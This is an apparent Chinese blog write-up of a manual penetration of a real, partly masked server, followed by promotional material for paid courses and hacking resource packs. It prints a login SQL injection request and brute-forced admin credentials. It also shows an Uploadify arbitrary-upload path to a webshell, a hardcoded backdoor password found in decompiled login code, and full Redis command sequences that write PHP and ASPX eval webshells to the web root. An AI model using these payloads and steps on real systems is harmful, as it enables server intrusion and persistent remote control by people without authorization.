手工漏洞挖掘渗透某服务器
对于给定授权网站的渗透,可以通过漏洞扫描工具进行扫描,也可以通过手工挖掘,特别是获取sql注入漏洞,通过注入漏洞配合其它漏洞来逐步获取webshell,甚至服务器权限,在本文中涉及详细信息收集、sql注入、后台密码加密分析、redis漏洞利用等,算是一篇经典的手工漏洞挖掘渗透案例,具有学习价值。
1.1信息收集
1.域名信息收集
(1)nslookup查询
通过nslookup对 qd.******.*****.cn进行查询,如图1所示,获取的信息是cdn,无法获取真实IP地址信息,后面通过https://www.yougetsignal.com/tools/web-sites-on-web-server/进行域名查询,每次查询的域名对应IP地址结果都在变化,说明用了cdn加速技术。
图1dns查询
(2)toolbar.netcraft.com
还以用toolbar.netcraft.com进行检测:https://toolbar.netcraft.com/site_report?url=qd.******.*****.cn#last_reboot,其结果如图2所示,IP地址为122.72.**.1**。
图2toolbar查询ip地址
2.获取真实IP地址
目标站点**.******.*****.cn使用账号和密码(1773**5216 /zyl**29122)进行登录,通过burpsuite进行抓包,发现有一个获取websocket url的ajax请求:
ws://***.**.**.**:1234?uid=304519&subscribe=1&ticks=636570586031103379&stock=&key=89853473962f954c0c9aa96e13f55f22
3.使用masscan进行端口扫描
(1)masscan安装
git clone https://github.com/robertdavidgraham/masscan.git
cd masscan
make
make install
(2)使用masscan扫描目标所有端口地址
masscan -p 1-65535 ***.**.**.** 扫描后可以看到其端口开放情况,如图3所示。
图3端口开放情况
通过实际访问,1234、1235和7780对外提供web服务,61315为远程终端,3357和26379经过telnet或者nc 发送keys *,能确定其中有两个redis端口,其中3357端口是redis并且存在认证,通过auth “123456” 简单尝试弱口令失败。
4.获取物理路径信息
输入地址**.********.com/Integral/My/ProductDetail.aspx?id=1在出错信息中获取其真实目录地址为d:\www\font\Plugins\IntegralMall.Plugins\Integral\My\ProductDetail.aspx,如图4所示。
图4获取真实地址信息
1.2sql注入
1.主站登录框注入
通过burpsuite对登录过程进行抓包,发现其存在sql注入,构造playload进行测试:
POST /account/Login HTTP/1.1
Host: www.******.*****.cn
Content-Length: 97
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.******.*****.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.******.*****.cn/account/login?returnurl=%2Fproduct%2Findex%2F908
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=ugovwxs3i0bk5yhxjqczcmjq; VerCode=f64aed3c5de2da53ee92698677ceb7abe1f9ab3258abf9472c078259245f48e1
Connection: close
userName=1’,1,1,1);select convert(INT,user)–+&password=123123&validateCode=th5b&rememberMe=false
通过该方法可以对当前的站点进行数据库表及内容查询。
2.获取后台密码
通过大字典对后台进行密码暴力破解,获取******.*****.net的admin账号对应密码abc1234。
1.3 Uploadify任意文件上传漏洞
1. 发现后台使用Uploadify
通过后台发现站点使用了Uploadify,Uploadify组件会存在任意文件上传漏洞,构造可上传的html文件,其中action为UploadHandler实际地址,有的是UploadHandler.php、UploadHandler.ashx等,本地访问该html文件,直接上传shell,如图5所示,上传成功后会显示文件名称等信息。
图5任意文件上传漏洞
2.获取webshell
在前面保存的html文件中可以任意上传文件,但是需要注意其路径地址
http://******.*****.net/uploadify/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp将UploadFile更换为uploadify。
{“FileName”:“7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”,“FileUrl”:“UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”,“FileAllUrl”:“http://******.*****.net/UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”}
这个地址访问必须是0,也就是除false外的值才能成功上传,如图6成功获取webshell。
图6获取webshell
1.4后台密码加密分析
1.打包并下载网站源代码
通过webshell对该站点进行打包压缩命令:rar a –k –r –r –m1 e:\www\all.rar e:\www\website\,然后将其压缩包下载到本地。
2.密码加密函数分析
通过Reflector对asp.net的dll文件进行反编译,获取其源代码,从源代码中查找登录加密的函数:
public static string MD5Encrypt(string str)
{
string text = str + “202cb962ac59075b964b07152d234b70”;
string password = text.Substring(0, 32);
string password2 = text.Substring(32);
return (FormsAuthentication.HashPasswordForStoringInConfigFile(password, “MD5”) + FormsAuthentication.HashPasswordForStoringInConfigFile(password2, “MD5”)).ToLower();
}
md5(123)=202cb962ac59075b964b07152d234b70
密码采用password+123的md5加密,密码值为md5(password)+md5(123)得到的实际位数为64位。真实密码为1-32位字符串,将其进行md5解密即可。
3. btnLogin_Click登录检查中存在逻辑后门
protected void btnLogin_Click(object sender, EventArgs e)
{
string text = this.txtUserName.Text.Trim();
string str = this.txtPassword.Text.Trim();
string str2 = this.txtCode.Text.Trim().ToLower();
if (string.Compare(StringHelper.MD5Encrypt(str2), ValidationImage.GetAdminVerifyCode(), StringComparison.OrdinalIgnoreCase) != 0)
{
MessageBox.Show(this, “验证码输入有误,请重新输入!”);
return;
}
AdministratorInfo model = Administrator.GetModel(text);
if (model == null)
{
MessageBox.Show(this, “用户名或密码输入有误,登录失败!”);
return;
}
if (model.get_RolesType() != 1 && model.get_RolesType() != 2)
{
MessageBox.Show(this, “用户名或密码输入有误,登录失败!”);
return;
}
if (string.Compare(StringHelper.MD5Encrypt(str).ToLower(), StringHelper.MD5Encrypt(“7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223”).ToLower(), StringComparison.OrdinalIgnoreCase) != 0 && string.Compare(StringHelper.MD5Encrypt(str), model.get_AdminPassWord(), StringComparison.OrdinalIgnoreCase) != 0)
{
MessageBox.Show(this, “用户名或密码输入有误,登录失败!”);
return;
}
if (model.get_IsLock())
{
MessageBox.Show(this, “用户已禁止登录,请联系系统管理员!”);
return;
}
AdminPrincipal adminPrincipal = new AdminPrincipal();
adminPrincipal.set_AdministratorID(model.get_AdministratorID());
adminPrincipal.set_AdminName(model.get_AdminName());
adminPrincipal.set_RolesType(model.get_RolesType());
adminPrincipal.set_SyRolesID(model.get_SyRolesID());
adminPrincipal.set_TrueName(model.get_AdminName());
adminPrincipal.set_Roles(model.get_RolesType().ToString());
string userData = adminPrincipal.SerializeToString();
Administrator.UpdateLoginLast(model.get_AdministratorID());
FormsAuthenticationTicket formsAuthenticationTicket = new FormsAuthenticationTicket(1, adminPrincipal.get_AdministratorID().ToString(), DateTime.Now, DateTime.Now.AddMinutes((double)SiteConfig.get_SecurityConfig().get_TicketTime()), false, userData);
ManageCookies.CreateAdminCookie(formsAuthenticationTicket, false, DateTime.Now);
BasePage.ResponseRedirect(“Admin_Index.aspx”);
}
该函数中存在逻辑后门,使用任何账号均可以进行登录
用户名:随意 密码为:7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223
1.5redis漏洞利用获取webshell
1. redis账号获取webshell
知道网站的真实路径,具体步骤:
(1)连接客户端和端口
telnet ***.**.**.** 3357
(2)认证
auth ^123456$
(3)查看当前的配置信息,并复制下来留待后续恢复
config get dir
config get dbfilename
(4)配置并写入webshell
config set dir E:/www/font
config set dbfilename redis.aspx
set webshell “<?php phpinfo(); ?>”
//php查看信息
set webshell "<?php @eval($\_POST\['chopper'\]);?> "
//phpwebshell
set webshell"<%eval(Request.Item[‘cmd’],\“unsafe\”);%>"
// aspx的webshell,注意双引号使用\"
save
保存
get a
查看文件内容
(5)访问webshell地址
出现类似:
REDIS0006?webshell’a@H搀???
表明正确获取webshell
(6)恢复原始设置
config get dir
config get dbfilename
flushdb
2.获取shell的完整命令
telnet ***.**.**.** 3357
auth ^123456$
config get dir
config get dbfilename
config set dir E:/www/font
config set dbfilename redis2.aspx
set webshell “<?php phpinfo(); ?>”
set webshell "<?php @eval($\_POST\['chopper'\]);?> "
set a “<%@ Page Language=\“Jscript\”%><%eval(Request.Item[\“c\”],\“unsafe\”);%>”
save
get a
config set dir
config set dbfilename
flushdb
通过以上方法成功获取目标站点的webshell,至此渗透结束。
1.6渗透总结
本次渗透用到了多个技术:
1.burpsuite抓包,对包文件,使用sqlmap进行注入sqlmap –r r.txt
2.后台账号的暴力破解,通过burpsuite对账号进行暴力破解。
3. uploadify任意文件上传漏洞
4.后台加密文件密码算法及密码破解分析
5.redis漏洞获取webshell方法
6.masscan及nmap全端口扫描
(1)massscan –p 1-65535 ***.**.**.**
(2)nmap.exe -p 1-65535 -T4 -A -v -oX ***.**.**.xml ***.**.**.1-254
创作不易,用您发财的小手关注、喜欢+收藏一下我,您的关注和点赞就是对我继续创作的最大动力,谢谢!
另外推出《实战中的20个取证技术》视频课程,售价298元,基本涵盖目前的打击取证需要,可以联系微信lovesec2022购买。
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取